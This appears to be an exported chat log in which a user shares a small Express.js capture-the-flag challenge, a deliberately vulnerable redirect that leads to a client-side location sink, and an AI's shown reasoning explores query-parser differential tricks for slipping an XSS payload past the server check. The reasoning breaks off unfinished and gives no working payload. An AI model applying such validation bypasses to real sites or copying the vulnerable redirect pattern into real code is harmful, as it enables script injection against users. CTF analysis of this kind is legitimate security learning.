Chat with Strobes AI

Exported on Feb 10, 2026, 4:20 PM

You — Feb 10, 2026, 3:47 PM

const express = require('express'); const app = express();

app.set('query parser', 'extended');

app.get('/', (req, res) => { const redirectUri = req.query.redirect_uri;

if (!redirectUri) {
    return res.send("redirect_uri is required");
}

if (redirectUri !== "https://pwnbox.xyz/docs") {
    return res.send("Invalid redirect_uri");
}

return res.send(`
    <script>
        location = new URLSearchParams(window.location.search).get("redirect_uri");
    </script>
`);

});

app.listen(3000, () => console.log('Listening on port 3000'));

can you find XSS in this CTF?

Thinking — Feb 10, 2026, 3:49 PM

The user is asking me to find an XSS vulnerability in a CTF challenge. This is a code review task - let me analyze the code directly since it's a small snippet.

Let me analyze the code:

Express app with extended query parser
GET / route takes redirect_uri query parameter
Server-side check: redirectUri !== "https://pwnbox.xyz/docs" - if not equal, returns "Invalid redirect_uri"
If it passes, it renders HTML with a script that reads redirect_uri from the URL client-side and redirects to it

The key insight here is the difference between how Express parses the query parameter server-side vs how URLSearchParams parses it client-side.

The extended query parser uses the qs library which handles nested objects and arrays differently than the standard parser, so I can exploit the mismatch between server-side validation and client-side parsing by sending multiple redirect_uri parameters - the server might validate one while the client reads another. The object syntax also fails the check since an object isn't equal to the string. But I'm realizing the real opportunity here: URLSearchParams and qs parse query parameters differently, so if the server-side validation uses qs while the client-side redirect uses URLSearchParams, they could extract different values from the same parameter.

With HTTP parameter pollution—sending duplicate redirect_uri parameters—qs would create an array while URLSearchParams.get() returns only the first value, meaning the validation could pass on one value while the redirect uses another.

I'm exploring whether bracket notation in the query string could bypass the validation, though the approaches I'm considering seem convoluted.

The core challenge is finding a discrepancy between how the server parses req.query.redirect_uri with the qs library and how the client reads it with URLSearchParams.get() — I need the server to see a legitimate URL while the client extracts an XSS payload from the same parameter. I'm exploring whether the qs parser's bracket syntax could be exploited through object property overrides like toString or valueOf to bypass the string validation check.

Reconsidering the approach, I realize URLSearchParams.get() handles keys literally without bracket parsing, so it would return only the first value when multiple parameters share the same key, whereas qs would create an array.

The vulnerability likely stems from this parser differential—if I can craft a URL where the two parsers interpret the redirect URI differently, I might bypass the string comparison check. I'm exploring whether the qs parser's array handling could create a mismatch with URLSearchParams, but duplicate redirect_uri parameters get converted to arrays in both cases, which fails the string check. I need to find a way where only one parser sees it as an array while the other doesn't. I'm realizing that mixing redirect_uri as both a direct value and a nested property like redirect_uri[toString] could exploit how qs handles conflicting keys—potentially creating an object with a toString method that could be leveraged for code execution. I'm considering whether a single-element array might bypass the check, but that would still fail the strict equality comparison. Let me look back at the actual validation logic to see if I'm missing something about how qs parses the input. doesn't match the validation check, so it fails. But on the client side, URLSearchParams only sees the first redirect_uri parameter before the encoded ampersand, so it extracts just "https://pwnbox.xyz/docs" and redirects safely — wait, that's the opposite of what we need for XSS. Let me think about this differently: what if we use an encoding that qs leaves alone but URLSearchParams decodes, so the server sees the safe value but the client executes something malicious? I'm examining the client-side redirect code more carefully and realizing the URLSearchParams parsing is straightforward, so bypassing the server validation through query parameter tricks won't work. Instead, I should explore whether I can inject directly into the HTML response itself, particularly into the script tag that handles the redirect. I'm exploring whether mixing plain and bracket notation in the query string could cause qs to produce an object instead of a string, which would bypass the string comparison check and reach the client-side XSS vector. The key is understanding how qs handles this edge case and what req.query.redirect_uri would actually become. I'm testing different parameter combinations to see if qs and URLSearchParams parse them differently—maybe using array notation like redirect_uri[0] could trick one parser into treating it as an array while the other sees it as a string. Let me actually run some code to verify how qs handles these edge cases with duplicate keys and array syntax. I need to find a parameter that qs parses as redirect_uri but URLSearchParams treats differently—like using bracket notation where qs interprets redirect_uri[0] as an array element while URLSearchParams sees it as a literal key name, allowing me to inject a malicious value that only one parser picks up.